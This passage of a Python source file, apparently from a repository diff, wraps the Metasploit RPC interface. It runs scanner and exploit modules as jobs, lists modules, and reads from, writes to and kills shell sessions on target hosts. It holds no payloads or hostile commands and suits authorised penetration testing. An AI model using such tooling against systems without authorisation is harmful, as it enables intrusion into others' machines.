# Clean and parse output
cleaned = self._clean_output(raw_output)
parsed = self._parse_output(cleaned, module_path)
execution_time = time.time() - start_time
# Determine status
if parsed['error_count'] > 0 and not parsed['findings']:
status = MSFStatus.FAILED
elif parsed['error_count'] > 0:
status = MSFStatus.PARTIAL
elif parsed['findings'] or parsed['info']:
status = MSFStatus.SUCCESS
else:
status = MSFStatus.SUCCESS # No output isn't necessarily an error
return MSFResult(
status=status,
module=module_path,
target=target,
raw_output=raw_output,
cleaned_output=cleaned,
findings=parsed['findings'],
info=parsed['info'],
errors=parsed['errors'],
warnings=parsed['warnings'],
open_ports=parsed['open_ports'],
services=parsed['services'],
execution_time=execution_time,
error_count=parsed['error_count']
)
def run_scanner(
self,
module_path: str,
target: str,
ports: str = None,
options: Dict[str, Any] = None,
timeout: int = 120
) -> MSFResult:
"""Convenience method for running scanner modules.
Args:
module_path: Scanner module path.
target: Target IP or range (RHOSTS).
ports: Port specification (optional).
options: Additional options.
timeout: Maximum execution time.
Returns:
MSFResult with scan results.
"""
opts = {'RHOSTS': target}
if ports:
opts['PORTS'] = ports
if options:
opts.update(options)
return self.run_module(module_path, opts, timeout)
def get_module_info(self, module_path: str) -> Optional[Dict[str, Any]]:
"""Get information about a module.
Args:
module_path: Full module path.
Returns:
Module info dictionary or None.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return None
try:
# Determine module type from path
parts = module_path.split('/')
if len(parts) < 2:
return None
module_type = parts[0]
module_name = '/'.join(parts[1:])
info = self.manager.rpc.get_module_info(module_type, module_name)
return {
'name': info.name,
'description': info.description,
'author': info.author,
'type': info.type,
'rank': info.rank,
'references': info.references
}
except Exception as e:
self._last_error = str(e)
return None
def get_module_options(self, module_path: str) -> Optional[Dict[str, Any]]:
"""Get available options for a module.
Args:
module_path: Full module path.
Returns:
Options dictionary or None.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return None
try:
parts = module_path.split('/')
if len(parts) < 2:
return None
module_type = parts[0]
module_name = '/'.join(parts[1:])
return self.manager.rpc.get_module_options(module_type, module_name)
except Exception as e:
self._last_error = str(e)
return None
def search_modules(self, query: str) -> List[str]:
"""Search for modules matching a query.
Args:
query: Search query.
Returns:
List of matching module paths.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return []
try:
results = self.manager.rpc.search_modules(query)
# Results are typically dicts with 'fullname' key
if isinstance(results, list):
return [r.get('fullname', r) if isinstance(r, dict) else str(r) for r in results]
return []
except Exception as e:
self._last_error = str(e)
return []
def list_modules(self, module_type: str = None) -> List[str]:
"""List available modules by type.
Args:
module_type: Filter by type (exploit, auxiliary, post, payload, encoder, nop).
If None, returns all modules.
Returns:
List of module paths.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return []
try:
return self.manager.rpc.list_modules(module_type)
except Exception as e:
self._last_error = str(e)
return []
def list_sessions(self) -> Dict[str, Any]:
"""List active MSF sessions.
Returns:
Dictionary of session IDs to session info.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return {}
try:
return self.manager.rpc.list_sessions()
except Exception as e:
self._last_error = str(e)
return {}
def list_jobs(self) -> Dict[str, Any]:
"""List running MSF jobs.
Returns:
Dictionary of job IDs to job info.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return {}
try:
return self.manager.rpc.list_jobs()
except Exception as e:
self._last_error = str(e)
return {}
def stop_job(self, job_id: str) -> bool:
"""Stop a running job.
Args:
job_id: Job ID to stop.
Returns:
True if stopped successfully.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return False
try:
return self.manager.rpc.stop_job(job_id)
except Exception as e:
self._last_error = str(e)
return False
def execute_module_job(
self,
module_path: str,
options: Dict[str, Any] = None
) -> Tuple[bool, Optional[str], Optional[str]]:
"""Execute a module as a background job (non-blocking).
This is different from run_module() which uses console and captures output.
Use this for exploits and long-running modules that should run in background.
Args:
module_path: Full module path.
options: Module options.
Returns:
Tuple of (success, job_id, error_message).
"""
connected, msg = self.ensure_connected()
if not connected:
return False, None, msg
try:
parts = module_path.split('/')
if len(parts) < 2:
return False, None, "Invalid module path"
module_type = parts[0]
module_name = '/'.join(parts[1:])
result = self.manager.rpc.execute_module(module_type, module_name, options or {})
job_id = result.get('job_id')
if job_id is not None:
return True, str(job_id), None
else:
# Check for error in result
error = result.get('error_message') or result.get('error') or "Unknown error"
return False, None, str(error)
except Exception as e:
self._last_error = str(e)
return False, None, str(e)
def session_read(self, session_id: str) -> Tuple[bool, str]:
"""Read from a session shell.
Args:
session_id: Session ID.
Returns:
Tuple of (success, output).
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return False, ""
try:
output = self.manager.rpc.session_shell_read(session_id)
return True, output
except Exception as e:
self._last_error = str(e)
return False, ""
def session_write(self, session_id: str, command: str) -> bool:
"""Write a command to a session shell.
Args:
session_id: Session ID.
command: Command to execute.
Returns:
True if written successfully.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return False
try:
return self.manager.rpc.session_shell_write(session_id, command)
except Exception as e:
self._last_error = str(e)
return False
def session_stop(self, session_id: str) -> bool:
"""Stop/kill a session.
Args:
session_id: Session ID.
Returns:
True if stopped successfully.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return False
try:
return self.manager.rpc.session_stop(session_id)
except Exception as e:
self._last_error = str(e)
return False
def run_console_command(self, command: str, timeout: int = 30) -> Tuple[bool, str]:
"""Run a raw console command and return output.
This is a lower-level method for direct console access.
Args:
command: Console command to run.
timeout: Timeout in seconds.
Returns:
Tuple of (success, output).
"""
connected, msg = self.ensure_connected()
if not connected:
return False, msg
try:
output = self.manager.rpc.run_console_command(command, timeout=timeout)
return True, output
except Exception as e:
self._last_error = str(e)
return False, str(e)
def print_result(self, result: MSFResult, verbose: bool = False):
"""Print a formatted result to the console.
Args:
result: MSFResult to print.
verbose: If True, show all output including info lines.
"""
print(f"\n{Colors.CYAN}Module Output:{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
if result.status == MSFStatus.NOT_CONNECTED:
print(f" {Colors.RED}[X] Not connected to Metasploit{Colors.RESET}")
if result.errors:
print(f" {result.errors[0]}")
elif result.status == MSFStatus.AUTH_ERROR:
print(f" {Colors.RED}[X] Authentication failed{Colors.RESET}")
elif result.status == MSFStatus.TIMEOUT:
print(f" {Colors.YELLOW}[!] Execution timed out{Colors.RESET}")
else:
# Print findings (green)
for line in result.findings:
print(f" {Colors.GREEN}{line}{Colors.RESET}")
# Print info (cyan) - only in verbose mode
if verbose:
for line in result.info:
print(f" {Colors.CYAN}{line}{Colors.RESET}")
# Print warnings (yellow)
for line in result.warnings:
print(f" {Colors.YELLOW}{line}{Colors.RESET}")
# Print errors (dim)
for line in result.errors:
print(f" {Colors.DIM}{line}{Colors.RESET}")
# Summarize error count if high
if result.error_count > 0:
print(f"\n {Colors.YELLOW}[!] {result.error_count} errors occurred during execution{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
# Print summary
if result.execution_time > 0:
print(f" {Colors.DIM}Time: {result.execution_time:.1f}s{Colors.RESET}")
print(f" {Colors.DIM}Status: {result.get_summary()}{Colors.RESET}")
# Print parsed port/service info if available
if result.open_ports:
print(f"\n {Colors.GREEN}Open Ports:{Colors.RESET}")
for port_info in result.open_ports:
print(f" {port_info['port']}/tcp - {port_info.get('state', 'open')}")
if result.services:
print(f"\n {Colors.GREEN}Services Detected:{Colors.RESET}")
for svc in result.services:
print(f" {svc['ip']}:{svc['port']} - {svc['info']}")
# Global instance
_msf_interface: Optional[MSFInterface] = None
def get_msf_interface() -> MSFInterface:
"""Get the global MSF interface instance."""
global _msf_interface
if _msf_interface is None:
_msf_interface = MSFInterface()
return _msf_interface

1192
core/msf_modules.py Normal file

File diff suppressed because it is too large Load Diff

1124
core/msf_terms.py Normal file

File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More